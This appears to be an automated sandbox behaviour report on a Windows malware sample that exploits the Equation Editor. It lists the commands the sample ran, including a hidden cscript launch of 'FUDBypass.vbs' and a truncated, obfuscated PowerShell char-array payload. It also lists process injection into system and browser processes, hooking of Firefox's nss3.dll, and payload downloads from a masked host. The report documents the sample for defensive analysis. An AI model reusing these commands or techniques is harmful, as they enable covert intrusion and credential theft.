Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\cscript.exe' %TEMP%\FUDBypass.vbs A C
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\FUDBypass.vbs A C
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8EA8F7F73C213DF7F99A72F9B714A8FB648EEDED120713DED08048DF8EFA=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...
Injects code into
the following system processes:
- %WINDIR%\syswow64\calc.exe
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\wininit.exe
the following user processes:
- iexplore.exe
- firefox.exe
Hooks functions
in browsers
- firefox.exe process, nss3.dll module
Modifies file system
Creates the following files
- %TEMP%\fudbypass.vbs
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1a2a61431fef7968a2c11079988ec416_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\85b3f5fe5b1a2fd0c7b3159ed2f7f107_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bcb28638ad7d8b38b41cb4ae791762ef_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5c9957c1b42b7d160a1f72ab52be64fb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\50fa9cfb3c71938460da517dfe465d8f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fef9ca2ddaf86e70bc8b585b12226fde_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f10ad3ceed87c39be44a0787b2458a04_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ae5307b5af429725836537bba6914bf4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2c345983737242349117dc1902017ed5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a74eaf5c7155eceacc55590a0322cec5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8bd5c6aa051b2295dcce72ed4822946c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\529f56e92d4ec64e4f3db00221ca9a85_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8ae4b05a5e579ae6c2fb1e49ef76ad49_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2c9262e7d7b5a6e90f107ec392074355_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Deletes the following files
- %TEMP%\fudbypass.vbs
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1a2a61431fef7968a2c11079988ec416_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\85b3f5fe5b1a2fd0c7b3159ed2f7f107_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bcb28638ad7d8b38b41cb4ae791762ef_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5c9957c1b42b7d160a1f72ab52be64fb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\50fa9cfb3c71938460da517dfe465d8f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fef9ca2ddaf86e70bc8b585b12226fde_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f10ad3ceed87c39be44a0787b2458a04_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ae5307b5af429725836537bba6914bf4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2c345983737242349117dc1902017ed5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a74eaf5c7155eceacc55590a0322cec5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8bd5c6aa051b2295dcce72ed4822946c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\529f56e92d4ec64e4f3db00221ca9a85_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8ae4b05a5e579ae6c2fb1e49ef76ad49_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2c9262e7d7b5a6e90f107ec392074355_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Network activity
TCP
HTTP GET requests
- http://www.as####kasounds.com/upfiles/up_down/5061ce5cceada705bb71f58f7c301532.mp3
- http://www.as####kasounds.com/upfiles/up_down/88279297494299433246007ed26957f7.mp3
UDP
- DNS ASK as####kasounds.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\FUDBypass.vbs A C' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8EA8F7F73C213DF7F99A72F9B714A8FB648EEDED120713DED08048DF8EFA=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\cmd.exe' /c sc query wcncsvc >> A C
- '%WINDIR%\syswow64\calc.exe'
- '%WINDIR%\syswow64\wininit.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\calc.exe"
